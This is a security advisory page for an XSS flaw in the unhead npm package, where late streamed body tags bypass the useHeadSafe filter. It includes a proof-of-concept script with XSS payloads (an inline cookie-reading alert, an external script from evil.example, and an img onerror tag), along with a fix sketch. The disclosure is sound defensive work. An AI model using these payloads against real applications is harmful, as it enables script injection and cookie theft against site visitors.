Vulnerability DatabaseGHSA-vqxq-2wvm-wwq5

GHSA-vqxq-2wvm-wwq5: 
JavaScript vulnerability analysis and mitigation

Cross-site scripting in unhead: streamed body tags are re-pushed without the useHeadSafe marker, so SafeInputPlugin never filters them

Report metadata

FieldValue
Packageunhead (npm, pkg:npm/unhead)
Repositoryhttps://github.com/unjs/unhead
Componentunhead/stream/server#renderStreamBodyTags (fed by splitStreamedBodyTags via renderSSRHeadSuspenseChunk)
Vulnerability classCross-site scripting (bypass of the safe-input filter)
CWECWE-79
Severity (reporter assessment)High
Verified againstCommit e3b084481fe018fe023f84576615906feacfc2a7 (v3.4.3) and the published npm package unhead@3.4.3. Other versions are not verified; earlier streaming-capable releases should be checked.
API surfacePublic documented API: useHeadSafe() with wrapStream() / renderSSRHeadSuspenseChunk() / renderStreamEnd()
Affected in default configurationYes, for streaming SSR: wrapStream() turns on writesBodyTags automatically (server.ts:518-520). Non-streaming rendering is not affected.

Summary

useHeadSafe() records its safe marker only as the entry option _safe. During streaming SSR, when a safe entry resolves after the shell has been flushed, renderSSRHeadSuspenseChunk() / splitStreamedBodyTags() move its body-positioned tags (tagPosition: 'bodyClose' / 'bodyOpen') into state.bodyTags as raw input objects ({ ...tag }), dropping the entry options. renderStreamBodyTags() then re-pushes each raw object with head.push(input) and no options, so SafeInputPlugin (which keys off ctx.entry.options._safe) does not run, and scripts and other content that useHeadSafe() is documented to reject are written straight into the response body. The input to useHeadSafe() is, by design, untrusted: the documented use case is passing whole CMS or user-supplied objects. An attacker who controls such an object only needs it to include a tagPosition body value, an unsupported field that safe mode is expected to drop silently. The same input is handled safely on every other path:

  • Non-streaming renderSSRHead() -> filtered, renders empty output (verified, see Reproduction)
  • Streaming shell render (entry registered before the shell) -> filtered, renders empty output (verified)
  • SafeInputPlugin normal path -> explicitly rejects script src (safe.ts:208-212)
  • Late body tags re-rendered by renderStreamBodyTags() -> unfiltered, re-pushed without _safe (server.ts:373-374)

Impact

An attacker who can influence an object passed to useHeadSafe() can run arbitrary JavaScript in a victim's browser, in the origin of the consuming application, whenever the page is served through streaming SSR. Inline scripts, external script src and noscript markup containing event-handler HTML were all emitted in testing (see Reproduction). The new capability is executable output. Without this bug, the same useHeadSafe() entry is reduced to the safe allowlist: executable scripts and unsupported tags/attributes are dropped, as they are in non-streaming rendering and in the streaming shell. Not scored with CVSS. Exploitability depends on whether the consuming application passes attacker-influenced data to useHeadSafe() and on when that entry resolves. Not affected: applications that do not use streaming SSR (or have writesBodyTags disabled), applications whose safe entries are all registered before the shell is flushed, and applications that never pass untrusted input to useHeadSafe().

Preconditions

  1. The application uses streaming SSR with body-tag writing enabled. wrapStream() enables writesBodyTags automatically (server.ts:518-520); it can also be set directly with createStreamableHead({ writesBodyTags: true }).
  2. A useHeadSafe() entry is registered, or resolves, after the shell has been flushed.
  3. The attacker controls all or part of the object passed to useHeadSafe(), which is the documented use case for that API.
  4. The object contains a tag with tagPosition: 'bodyClose' or 'bodyOpen'. (A variant where the caller gives the safe entry itself a body position option is plausible from the code but was not separately verified.) No non-standard usage, monkey-patching or unusual configuration is required. The useHeadSafe docs (docs/head/7.api/composables/1.use-head-safe.md) state that executable scripts are rejected and unsupported tags/attributes are silently dropped, and do not describe filtering as the caller's responsibility. The streaming guide (docs/0.typescript/head/guides/1.core-concepts/5.streaming.md) documents that wrapStream() sends late valid body tags before </body>. The typed HeadSafe schema may not include tagPosition, but untrusted JSON is not type-checked, and SafeInputPlugin exists to drop unsupported fields at runtime rather than rely on TypeScript.

Data flow

  1. Source: the attacker-controlled object passed to useHeadSafe(head, input) is stored with _safe only in entry.options, not on the input itself (composables.ts:17-19).
  2. Propagation: renderSSRHeadSuspenseChunk() resolves the raw entry.input, and splitStreamedBodyTags() carries body-positioned raw tag objects into state.bodyTags as { ...tag }, without the entry options (server.ts:430-451, server.ts:316-350).
  3. Sink: renderStreamBodyTags() clears the map, re-pushes each carried object with no options and renders: for (const input of bodyTagInputs) head.push(input); const bodyTags = head.render().bodyTags (server.ts:363-378). Because _safe is absent, SafeInputPlugin skips these entries (safe.ts:248-256), and tagToString only escapes closing sequences/content and does not reject an external script src.
  4. Reachability: renderStreamBodyTags() is public and is called by the public renderStreamEnd() (server.ts:394-404); wrapStream() enables writesBodyTags and calls renderStreamEnd() on completion (server.ts:518-520).

Vulnerable code

packages/unhead/src/stream/server.ts, lines 363-378 at e3b084481fe018fe023f84576615906feacfc2a7 (excerpt; ... marks lines elided here, see the pinned source for the full range):

const bodyTagInputs = streamState(head).bodyTags
...
for (const input of bodyTagInputs)
  head.push(input) // sink: re-pushed with no options, so _safe is lost and SafeInputPlugin does not run
const bodyTags = (head.render() as SSRHeadPayload).bodyTags

Reproduction

Verified dynamically with a Vitest PoC, at commit e3b084481fe018fe023f84576615906feacfc2a7 (v3.4.3) and against the published npm unhead@3.4.3. Steps:

  1. Create a streamable head with writesBodyTags: true and call renderShell().
  2. Call useHeadSafe() with body-positioned tags: an inline script, an external script src, and a noscript with event-handler HTML.
  3. Call renderSSRHeadSuspenseChunk(), then renderStreamEnd(). The snippet below follows that sequence. The verified run finished with renderStreamEnd(); this snippet calls renderStreamBodyTags(), which renderStreamEnd() calls internally (server.ts:394-404). The noscript entry's exact input shape is an assumption based on the test description.
import { useHeadSafe } from 'unhead'
import { createStreamableHead, renderShell, renderSSRHeadSuspenseChunk, renderStreamBodyTags } from 'unhead/stream/server'
const { head } = createStreamableHead({ disableDefaults: true, writesBodyTags: true })
renderShell(head)
// Untrusted object, registered after the shell
useHeadSafe(head as any, {
  script: [
    { innerHTML: 'alert(document.cookie)', tagPosition: 'bodyClose' },
    { src: 'https://evil.example/x.js', tagPosition: 'bodyClose' },
  ],
  noscript: [
    { innerHTML: '<img src=x onerror=alert(1)>', tagPosition: 'bodyClose' },
  ],
} as any)
renderSSRHeadSuspenseChunk(head)
console.log(renderStreamBodyTags(head))

Observed output (from the verified run):

<script>alert(document.cookie)</script><script src="https://evil.example/x.js"></script><noscript><img src=x onerror=alert(1)></noscript>

Controls: the same inputs rendered through non-streaming renderSSRHead(), and through the streaming shell, produced empty output, which shows the safe filter normally strips them.

  • Expected: no executable body output for scripts or unsafe markup supplied through useHeadSafe(), matching the non-streaming and shell behaviour.
  • Actual: the inline script, the external script and the noscript payload are all emitted into the response body.

Suggested remediation

Late body tags carried for streaming should keep the safe status of the entry they came from, so SafeInputPlugin runs when they are re-rendered. Sketch only: the exact shape of state.bodyTags was not checked against the project's types, and this patch has not been run.

// splitStreamedBodyTags(): carry the originating entry's options with each tag
state.bodyTags.push({ input: { ...tag }, options: entry.options })
// renderStreamBodyTags(): re-push with those options so _safe is preserved
for (const { input, options } of bodyTagInputs)
  head.push(input, options)

Alternative form: filter or normalize safe entries (run the SafeInputPlugin logic on useHeadSafe input) before splitStreamedBodyTags() carries them, so only already-sanitized tags ever reach state.bodyTags. Notes:

  • The fix needs to cover every tag type carried into state.bodyTags, not just script. Testing confirmed inline script, external script src and noscript bypasses. JSON-LD is also carried on this path; its behaviour under safe mode here was not assessed.
  • Only renderStreamBodyTags() re-pushing carried inputs was identified as affected. It is reached through renderStreamEnd() and wrapStream(), so fixing the carry/re-push covers both.
  • Already safe, no change needed: non-streaming renderSSRHead(), safe entries rendered in the streaming shell, and the SafeInputPlugin allowlist itself (safe.ts:208-212).
  • Whether a safe entry given a body position through entry options (rather than a tagPosition field) needs separate handling was not verified. Suggested regression test alongside the existing streaming tests (specific file not identified here): with createStreamableHead({ writesBodyTags: true }), call renderShell(), then useHeadSafe() with { script: [{ innerHTML: 'alert(1)', tagPosition: 'bodyClose' }, { src: 'https://evil.example/x.js', tagPosition: 'bodyClose' }], noscript: [{ innerHTML: '<img src=x onerror=alert(1)>', tagPosition: 'bodyClose' }] }, then renderSSRHeadSuspenseChunk() and renderStreamEnd(). Assert the body output contains no <script and no onerror, matching the empty output of renderSSRHead() for the same input.

Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-vqxq-2wvm-wwq5MEDIUM6.1
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-cw38-r4mr-qh2vMEDIUM6.1
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-hx39-7p87-p6mvMEDIUM4.7
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-43vv-qp67-mww8MEDIUM4.7
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-6r92-h7v8-c87rLOW2
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management